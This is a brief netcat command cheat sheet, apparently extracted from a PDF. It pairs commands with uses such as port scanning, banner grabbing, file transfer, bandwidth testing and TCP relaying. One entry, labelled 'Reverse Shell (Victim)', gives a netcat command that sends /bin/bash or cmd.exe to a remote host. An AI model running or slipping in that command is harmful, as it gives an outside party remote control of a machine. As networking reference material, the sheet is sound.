netcat_use_cases
netcat_use_cases
Port Scanning nc -zv 192.168.1.1 20-80 Scan ports 20-80 on a target to find open ones.
Banner Grabbing nc 192.168.1.1 80 Identify services by reading responses from open ports.
File Transfer (Receiver) nc -l -p 1234 > received.txt Listen on port 1234 and save incoming file.
File Transfer (Sender) nc 192.168.1.1 1234 < file.txt Send a file to a remote listener.
Simple Web Server while true; do nc -l -p 8080 < index.html; done Serve an HTML file repeatedly over port 8080.
Reverse Shell (Victim) nc 192.168.1.100 4444 -e /bin/bash Send a shell to a remote host (classic Netcat only).
or nc ... -e cmd.exe
Network Speed Test (Sender) dd if=/dev/zero bs=1M count=100 | nc -l -p 5001 Send a 100MB stream of zeros.
Network Speed Test (Receiver) nc 192.168.1.1 5001 > /dev/null Receive and discard data to test bandwidth.
TCP Proxying / Relay mkfifo pipe; nc target 80 < pipe | tee pipe | nc relayhost 8080 Forward TCP data through another host.
Page 1
Netcat (nc) Command Use Cases
example.com 80
Page 2